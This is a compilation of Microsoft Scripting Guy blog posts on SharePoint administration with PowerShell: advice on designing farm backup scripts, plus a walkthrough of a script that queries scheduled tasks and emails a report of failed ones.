Hey, Scripting Guy! I’ve heard that I can automate the backup of my SharePoint farm with a Windows PowerShell script, but it seems like it’s a lot more complicated than just calling STSADM or Backup-SPFarm? What should I be including in my SharePoint farm backup script?

—FJ

Hello FJ,

Microsoft Scripting Guy, Ed Wilson, is here. I am so glad you asked that question. It gave me the opportunity to contact John Ferringer again because I knew this was right up his alley.

John Ferringer is a senior manager consultant with Sogeti, LLC. He has more than seven years of experience administering and supporting SharePoint technologies, and he has spent more than thirteen years working in the technology consulting industry. John is certified as an MCITP and MCTS on several platforms, including Windows Server 2008, SharePoint, SCOM, and Project Server. He has coauthored the SharePoint 2010 Disaster Recovery Guide. His blog can be found at http://www.MyCentralAdmin.com, and he's on Twitter as @Ferringer.

Protecting a SharePoint farm can be pretty challenging. It’s one of those all too familiar IT problems that seems pretty straightforward (“Hey, let’s just run that Backup cmdlet and call it a day!”)—until you start diving into it and realize that there’s a lot more than that to getting it right. The nice thing is that we are talking about a pretty specific situation here: how to script a backup of a SharePoint farm by using SharePoint’s own backup tools.

Interestingly, the general intent and scope of SharePoint’s backup command-line tools did not change much from the product’s 2007 release to its 2010 release. Yes, SharePoint 2010 ships with plenty of great Windows PowerShell cmdlets, which is quite a big deal for the broader SharePoint command-line management story, but when it comes down to it, STSADM’s Backup operation with its catastrophic options are not a whole lot different from the new Backup-SPFarm cmdlet. In addition, compatibility for STSADM was retained in SharePoint 2010, so if you already had a script that uses it, you can continue to take advantage of that investment if you want to.

A Windows PowerShell script for a SharePoint backup can be pretty simple. Just call Backup-SPFarm or STSADM’s Backup operation, wrap it in some error checking logic, save it, create a Windows Scheduled Task to run it, and you’re good to go. If that’s the route you want to take, SharePoint’s backup tools still have some requirements that you need to keep in mind:

A SharePoint 2007 or 2010 farm
A service account to run the Scheduled Task that calls the script (try to avoid using a named user’s account to run the task). The account must have the following rights:

If you’re using SharePoint 2010, it must be granted the SharePoint_Shell_Access role via the Add-SPShellAdmin CMDLET.
If you’re using SharePoint 2007, it must be granted local Administrator rights on the server that is running the script, and it must be an owner in SQL Server of the SharePoint databases you’re targeting.
Granted Full Control of the directory where you’ll be storing your backups.

A directory for storing backups. If SharePoint and SQL Server are installed locally on the same server, this can be a path on the server’s file system (for example, C:\backups\). If SharePoint and SQL Server aren’t on the same server, this must be a shared drive with a UNC path (for example, \\server\backups). The account running the SharePoint Timer Job service and the SQL Server service account for SharePoint’s SQL Server instance must both have full control of the directory.

If you want to keep it vanilla, you can stop here. However, if you want to really turn things up to eleven, I have some further suggestions for you. It’s a bit more complex, but to me there’s a lot more that you need to take into account when backing up SharePoint. You want to provide your environment with the most effective, thorough, and (most importantly) repeatable protection possible. You want it to work right every time, yet you need it to efficiently use your available resources to provide that consistent protection.

The following is a list of items that I think are “must haves” for an effective SharePoint backup script that goes to eleven:

·         Analyze available storage before attempting a backup. If you don’t have the storage available to keep a backup, your script needs to be able to handle that situation gracefully and report it effectively.

·         Take regular backups. My general guidance for your backup frequency would be to do them at least daily, but your requirements may vary. Remember, the more you run backups, the greater the performance impact on your farm. The less frequently you back up, the less up-to-date your backups are.

·         Take advantage of varied backup types.SharePoint allows you to perform both Full and Differential backups, so you want a script that is more heavily weighted toward Differential backups to save space, but a script that still takes regular Full backups to keep things current.

Note Differential backups capture everything that’s changed in the target SharePoint farm, database, or site collection since the last backup, rather than including everything in the farm. Differential backups require that you first take a Full backup, so you always have to have at least one Full backup. But you also want to continue to perform regular Full backups because large numbers of Differential backups can take a long time to restore.

·         Back up the entire farm. This is one of those “at a minimum” kind of things.

Note: If you have high-priority site collections in your farm, you may want to also include logic in the script to individually target them. (You can do this with STSADM’s Backup operation and its Site Collection backup option or with the Backup-SPSite cmdlet).

·         If you’re running SharePoint 2010, back up the farm’s Configuration Database individually. All of a farm’s settings and setup information is stored in its Configuration database, and the new Backup-SPConfigurationDatabase cmdlet in SharePoint 2010 provides you with a nice tool to individually back up this critical resource as an additional layer of coverage for your farm. It’s not a complete capture of your farm’s configuration data, but it’s a start. See Configuration-Only Backup and Restore in SharePoint 2010 for a great explanation of its limitations.

·         If you have SharePoint 2010, merge the SharePoint usage log files. Microsoft recommends doing this, so it is at least worth considering for your script.

Note: This can have some performance implications if you decide to merge all log files, so keep an eye on it. If it takes a long time to run, try limiting this to specific usage types.

·         Handle and report errors. This may seem like a tiny detail, but trust me, when a backup fails you want to know about it. Write your scripts to handle errors, and write them to your server event log for monitoring and alerting.

·         Rotate backup files. Over time, regularly generated backup files can take up a lot of space. Disk space is cheap these days, but you don’t want a backup to fail because there’s not enough storage to hold it, do you? Your script should retain backups for a defined number of days and either archive or delete older files to reduce your storage footprint.

Now, that is a lot to consider, and it may seem a little daunting, but I have good news for you: I have written a script that does everything previously listed and that is compatible with SharePoint 2007 and SharePoint 2010. I have posted it to the TechNet Script Repository for your downloading pleasure, so feel free to have at it

A couple of notes about the script:

·         Be sure to review its required input parameters and settings, and select the options and items that make the most sense for your environment.

·         Carefully consider how frequently you want to back up your environment. Understand the Recovery Point Object (RPO) of your users (how current your restored content must be) to better gauge the right setting for this.

·         I wrote the script to be run once a day, with Full backups of the farm on a weekly basis and Differential backups the other six days of the week. This is a good general setting, but your approach will depend on your users’ Recovery Time Objectives (RTO). If you need to perform a restore quickly, you need to remember that Differential backups can take a long time to restore if you have a lot of them.

·         Think about what else is going on in your SharePoint environment when you are planning to run this script, in addition to other systems that your SharePoint farm depends on, such as SQL Server. Backups are resource intensive, and you want to avoid any competition for resources that can cause delays or errors. I try to schedule my backups about an hour after my search crawls normally finish to ensure that there are not any conflicts, and then I run the backups between midnight and 5:00 A.M. (based on the local time for my largest group of users).

·         Document the configuration of your Scheduled Task, and store it somewhere that it can be accessed centrally.

·         You must have already completed a Full backup in your environment or set the initial run of this Scheduled Task to be on the day that you selected to perform a Full backup. You cannot create a Differential backup until there is first a Full backup in the farm.

Thanks John, for sharing this great script and this excellent information about backing up a SharePoint farm.

FJ, that is all there is to using Windows PowerShell to back up your SharePoint farm.

Ed Wilson, Microsoft Scripting Guy

Use PowerShell to Manage Scheduled Tasks in SharePoint

Anonymous — Tue, 21 Jun 2011 05:00:00 GMT

Summary: Learn how to use Windows PowerShell to manage scheduled tasks for your SharePoint Server.

Microsoft Scripting Guy, Ed Wilson, is here. One of the really cool things about being the Microsoft Scripting Guy is getting to meet lots of smart people who love Windows PowerShell as much as I do. I feel as if Jonathan Tyler is one of my oldest friends; but as of now, I have not met him in real life. After months of hard work, we finally got the details worked out, and I am going to speak at his company in a few months when the Scripting Wife and I head to Raleigh, North Carolina for the SQL Solstice conference. I am looking forward to meeting Jonathan—it promises to be one of the highlights of a very memorable trip.

Anyway…I digress a bit.

I have been talking to Jonathan for several years as I have answered various questions from him via the scripter@microsoft.com email alias. After a while, I actually gave him my “real” email address. I noticed that he also lives in North Carolina, we chatted, and the rest is Scripting Guy history. And today, we have our first of what I imagine will be many blogs written by Jonathan. WOO HOO!!!

Jonathan Tyler is a senior software engineer employed by one of the world’s leading providers of commercial transport solutions. Jonathan has been in the IT industry since 1997. He currently supports the global SharePoint farm for the company’s Internet, extranet, and intranet solutions. Since working as a consultant, Jonathan started working with VBScript to automate tasks. He has done work in Visual Basic, C#, and Windows PowerShell. Check out his blog, PowerShell Reflections.

Scheduled Task Reporting with Windows PowerShell

As a SharePoint administrator, there are many times that we have scheduled tasks that run on the system for various reasons. Perhaps I need a security report, or a list of newly added items, or maybe I need to get a list of items that are no longer used on any of the pages. With approximately 25 web applications in one farm, it is important to keep track of these tasks to make sure they stay running.

I had not played around with it before, but I ran across the Schtasks.exe command, which will enumerate all of the scheduled tasks on a system. You can even specify a remote system to query. After messing around a bit, I found the formatting switch and saw that I could export all the information about a task as CSV-formatted data. Anyone who works with Windows PowerShell for any length of time knows that PowerShell eats CSV files for breakfast. Let’s see how to make this work!

My first thought would be that I could simply export this CSV information to a text file and then have PowerShell import the text file (Import-CSV) to begin my work. That seemed a little messy to me. A quick look with the Get-Command cmdlet showed what I need:

The ConvertFrom-CSV cmdlet seems to fit the bill. After looking at some of the options for the Schtasks command, I settled on the following command line to get my information.

SCHTASKS /QUERY /s Server01 /FO csv /V

This command will query Server01 for all (Verbose: /v) scheduled tasks and format (/FO csv) the data as a CSV. So that I can manipulate the information a bit more, I need to capture this into a variable.

$tasks = & SCHTASKS /QUERY /s Server01 /FO csv /v | ConvertFrom-CSV

After I get the data into the variable, I examine it to see what I have to work with. This is where I notice a problem. I have a couple of properties, Next Run Time and Last Run Time, that don’t always have the information I expect. Normally, these properties would be expected to have a date/time value, but because this is a scheduled task, the task may not have ever run or may never run again. In that case, the Schtasks.exe command reports “Never.” I don’t know about you, but I find that Windows PowerShell has a hard time trying to sort this information with a date/time value. So, I set about trying to make this work.

My solution is to go through each entry, test to see if the Next Run Time and Last Run Time properties are actually a date/time value. If they are, I convert the property to a DateTime object. If not, I reset the property to the DateTime.MaxValue or DateTime.MinValue, respectively. Now, I can sort the values to get what I need.

$tasks |Foreach-Object {

    If ($_.”Last Run Time” –as [datetime])

    {

        $_.”Last Run Time” = [datetime]$_.”Last Run Time”

    }

    Else

   {

        $_.”Last Run Time” = [datetime]::MinValue

    }

    If ($_.”Next Run Time” –as [datetime])

    {

       $_.”Next Run Time” = [datetime]$_.”Next Run Time”

    }

    Else

    {

       $_.”Next Run Time” = [datetime]::MaxValue

    }

}

Now that I have my DateTime values set properly, I can find the information that I am really interested in. The original purpose of my script is to tell me anything that ran within the past 24 hours that did not succeed for any reason.

In the script source, you will notice that I also check to see that the $tasks variable is populated. If the computer you query does not have any scheduled tasks to report, there is no need to proceed through the rest of the code. The Schtasks command will report a string that indicates there are no scheduled tasks on the system. When you try to push that through the ConvertFrom-CSV cmdlet, it returns a $null value.

To get tasks that ran within the past 24 hours, I will use the New-TimeSpan cmdlet. I can feed the Last Run Time property from the $tasks variable as the start time and then specify that I want the result to be in “days.” I also want to make sure that I get any tasks that have a Last Result value other than “0.” Here is what that code looks like.

$TasksInError = $tasks | Where-Object {

    ((New-TimeSpan –Start $_.”Last Run Time”).Days –le $runPeriod) –and

    ($_.”Last Result” –ne “0”)} | `

    Sort-Object “Last Run Time” –Descending | `

    ConvertTo-HTML –property TaskName, “Next Run Time”, “Last Run Time”, Status, “Last Result” –Fragment | Out-String

In the last part of this command, I have chosen to output my data as an HTML fragment. I decided that I want to send the information to my colleagues and myself so that we can jump on a problem as soon as possible. To make the formatting easier, I decided to use the HTML formatting and make the body of the email message as HTML as well. However, I don’t want to send an empty email, so to make that work, I simply check to make sure that I have data in the $TasksInError variable before trying to send the email.

If ($TasksInError)

{

Send-MailMessage –Body $TasksInError –BodyAsHTML –From myscript.donotreply@mydomain.com –SmtpServer mymailserver.mydomain.com –Subject “Scheduled Task Report - $ComputerName” –To myaddress@mydomain.com

}

I have set this script up as an Advanced Script/Function which means that I can pipe multiple computer names into the script to run against. This can be set up on a management machine to query multiple machines. Following is the complete script source. Because this script is rather long, I have uploaded it to the Scripting Guys Script Repository so you can easily get the script without worrying about copying HTML crud from the web page.

Get-ScheduledTask.ps1

<#

      .SYNOPSIS

            Gathers scheduled tasks that ran within past 24 hours and e-mails

            a report of failed tasks.

      .DESCRIPTION

            This script calls the SCHTASKS.EXE command to gather all scheduled task

            information. It returns all tasks from the past 24 hours that do not

            have a "Last Result" of "0".

      .PARAMETER ComputerName

            Specifies the computer to query for scheduled tasks.

      .PARAMETER runPeriod

            Specifies the number of days to look back for scheduled tasks



      .EXAMPLE

            PS C:\> .\Get-ScheduledTasks.ps1 -ComputerName Server01



            DESCRIPTION

            -----------

            This command will connect to Server01 and gather the requested Scheduled

            Tasks.

      .EXAMPLE

            PS C:\> .\Get-ScheduledTasks.ps1 -ComputerName Server01 -runPeriod 5



            DESCRIPTION

            -----------

            This command will connect to Server01 and gather the requested Scheduled

            Tasks from the past five (5) days.



      .INPUTS

            System.String,System.Int32

      .OUTPUTS

            Nothing

      .NOTES

            This script is designed to be run as a scheduled task.

      .LINK

            about_functions_advanced

      .LINK

            about_comment_based_help

#>

[CmdletBinding()]

Param (

            [Parameter(ValueFromPipeline=$true)]

            [string]

            $ComputerName = $env:COMPUTERNAME

            ,

            [int]

            $runPeriod = 1

            )



PROCESS {

      $tasks = & schtasks /query /s $ComputerName /fo csv /v | ConvertFrom-Csv



      if ($tasks)

      {

            $tasks | ForEach-Object {

                  if ($_."Last Run Time" -as [datetime])

                  {

                        $_."Last Run Time" = [dateTime]$_."Last Run Time"

                  }

                  else

                  {

                        $_."Last Run Time" = [datetime]::MinValue

                  }

                  if ($_."Next Run Time" -as [datetime])

                  {

                        $_."Next Run Time" = [dateTime]$_."Next Run Time"

                  }

                  else

                  {

                        $_."Next Run Time" = [datetime]::MaxValue

                  }



            }



            $TasksInError = $tasks | Where-Object {

                  ((New-TimeSpan -Start $_."Last Run Time").Days -le $runPeriod) -and

                  ($_."Last Result" -ne "0")} | `

                  Sort-Object "Last Run Time" -Descending | `

                  ConvertTo-HTML -property TaskName, "Next Run Time", "Last Run Time", Status, "Last Result" -Fragment | out-string

            if ($TasksInError)

            {

                  Send-MailMessage -Body $TasksInError -BodyAsHtml -From donotreply@mydomain.com -SmtpServer mysmtpserver.mydomain.com -Subject "Scheduled Tasks Report - $ComputerName" -To myaddress@mydomain.com

            }

      }

}

I want to thank Jonathan for providing an excellent blog and for sharing his script with us. Join me tomorrow for more Windows PowerShell goodness.

Ed Wilson, Microsoft Scripting Guy

Using PowerShell to Get Data from a SharePoint 2010 List

Anonymous — Tue, 15 Feb 2011 06:00:00 GMT

Summary : Learn how to use Windows PowerShell to get data from a SharePoint 2010 list. Hey, Scripting Guy! I need to be able to access data in a SharePoint 2010 list, but I do not have access to the server itself. All I can do is view the website and...(read more)

Deploy a PowerShell Module with SharePoint Cmdlets

Anonymous — Wed, 29 Sep 2010 05:00:00 GMT

Summary : In this article, Scripting Guys guest blogger Brian Jackett illustrates how to deploy a Windows PowerShell module with SharePoint cmdlets. Hey, Scripting Guy! I would love to be able to use Windows PowerShell to deploy a module with the SharePoint...(read more)